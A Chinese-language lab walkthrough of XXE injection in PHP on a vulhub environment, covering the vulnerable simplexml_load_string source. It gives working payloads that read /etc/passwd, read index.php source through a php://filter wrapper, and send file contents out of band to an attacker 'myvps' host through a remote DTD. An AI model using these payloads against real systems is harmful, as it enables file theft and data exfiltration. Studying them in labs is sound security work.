php_xxe

1.漏洞复现

1)环境安装

使用vulhub里面的php_xxe

2) 漏洞复现

漏洞介绍

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。

漏洞利用

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

这个环境里面***dom.php、SimpleXMLElement.php 、simplexml_load_string.php***三个页面都存在这个漏洞。

3)漏洞分析

simplexml_load_string函数解析body,查看一下源码simplexml_load_string.php

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

​ //先将xml发送给服务器解析,服务器解析完成后,就会按照我们的xml执行。当执行到**SYSTEM "file:///etc/passwd"**时,

会引用服务器里面的/etc/passwd文件,当服务器解析完成后,会将/etc/passwd文件内容存入&xxe中,然后将数据返回给恶意访问者。

使用php伪协议

除了使用前面的payload。我们发现源码有php://input,因此可以使用php伪协议读取源码。

payload:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>

当没有回显的时候。

就要想办法让服务器自己把数据往外带。

我们可以写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了。

payload


<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://myvps/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">
    %remote;
    %send;
]>
<message>1234</message>

xml.dtd



<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myvps:2333/?%file;'>">
%start;

与此同时我们还需要在服务器上面打开2333端口

后面还有dos攻击‘探测内网等等。。。

参考链接

https://mp.weixin.qq.com/s/VWofHp5lJLYnbw01copnkw

https://xz.aliyun.com/t/3357